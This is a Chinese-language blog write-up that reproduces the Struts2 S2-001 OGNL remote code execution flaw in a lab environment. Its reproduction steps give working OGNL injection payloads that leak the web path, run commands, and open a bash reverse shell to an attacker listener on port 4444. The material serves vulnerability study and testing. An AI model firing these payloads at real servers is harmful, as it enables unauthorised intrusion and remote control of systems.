Struts2 S2-001 远程代码执行漏洞——漏洞复现

0X00 漏洞简介

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。


​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2允许用户提交包含 OGNL 表达式字符串的表单数据,若表单验证失败,则服务器会将用户之前提交的OGNL 表达式(如:%{1+1}) 进行解析执行,然后将结果重新填充到对应的表单数据中。但OGNL 解析代码实际上是在 XWork 中,struts2标签解析主要依赖于 xwork2,所以该漏洞可以理解为 xwork2 的漏洞。

影响范围:

WebWork 2.1(启用 altSyntax)

WebWork 2.2.0 ~ WebWork 2.2.5

Struts 2.0.0 ~ Struts 2.0.8

0X01 相关知识


Struts 2
​ Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

Struts 2 处理请求的大致流程如下:

部分关键词说明:

Action:Struts2框架的核心,适用于任何MVC(Model View Controller)框架,在Web应用程序中将每个URL映射到特定的action,让其提供处理来自用户的请求所需的处理逻辑。
struts.xml:Struts2 框架的核心配置文件,主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图。
Struts2处理请求过程:

用户发送 HTTP 请求给 Web 服务器。

当服务器接收请求后,经过一系列过滤器交由 Strust 2处理。

Strust 2读取配置文件struts.xml,调用指定的拦截器,将请求分发至指定Action。

Action处理请求调用对应JavaBean。

JavaBean返回对应处理结果。

Action 根据结果返回对应结果码。

读取配置文件struts.xml,根据返回的结果码,返回指定 jsp 页面。

返回HTTP响应。

OGNL
​ OGNL(Object-Graph Navigation Language,对象图导航语言):一种强大的表达式语言,用于引用和操作值栈上的数据,还可用于数据传输和类型转换,其类似于JSP表达式语言。

​ OGNL基于上下文中存有根对象或默认对象的理念,使用标记符号(即#号)来引用默认或根对象的属性。OGNL是基于上下文的,所以Struts构建了一个ActionContext映射以供OGNL使用。 ActionContext映射包含以下内容:

应用程序(Application)—— 应用程序作用域变量
会话(Session) ——会话作用域变量
根/值栈 (ValueStack)—— 所有的action变量都存储在这里
请求 (Request)——请求作用域变量
参数 (Param)——请求参数
属性 (Property)——存储在页面,请求,会话和应用程序作用域中的属性

0X02 漏洞复现

1)启动环境

访问:ip+8080端口

2)输入任意用户名密码抓包,发送到repeater

3)修改passwd为以下代码(Web 目录路径),注意特殊字符需要编码。(下面是我已经编码好的,可以直接复制。)

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

%25{%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23response%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),%23response.println(%23req.getRealPath('/')),%23response.flush(),%23response.close()}

4)修改 password 为如下内容,执行任意命令,此处为执行 pwd 命令。此处需要将部分特殊字符进行url编码。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%25{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),%23b=%23a.getInputStream(),%23c=new java.io.InputStreamReader(%23b),%23d=new java.io.BufferedReader(%23c),%23e=new char[50000],%23d.read(%23e),%23f=%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

5)kali监听4444端口

6)使用bash反弹shell,端口为攻击机的4444,此处不能直接使用下面的反弹shell命令。base64编码一下:Base64 在线编码解码 | Base64 加密解密 - Base64.us

bash -i >& /dev/tcp/192.168.X.X/4444 0>&1

7)再使用“bash -c ” 命令将其解码后执行,最后java执行的反弹shell如下:

bash -c {echo,你的base64编码}|{base64,-d}|{bash,-i}

8)最终的POC如下(特殊字符记得url编码):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,你的base64编码}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

9)替换掉passwd:

10)成功反弹shell:

11)关闭环境

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值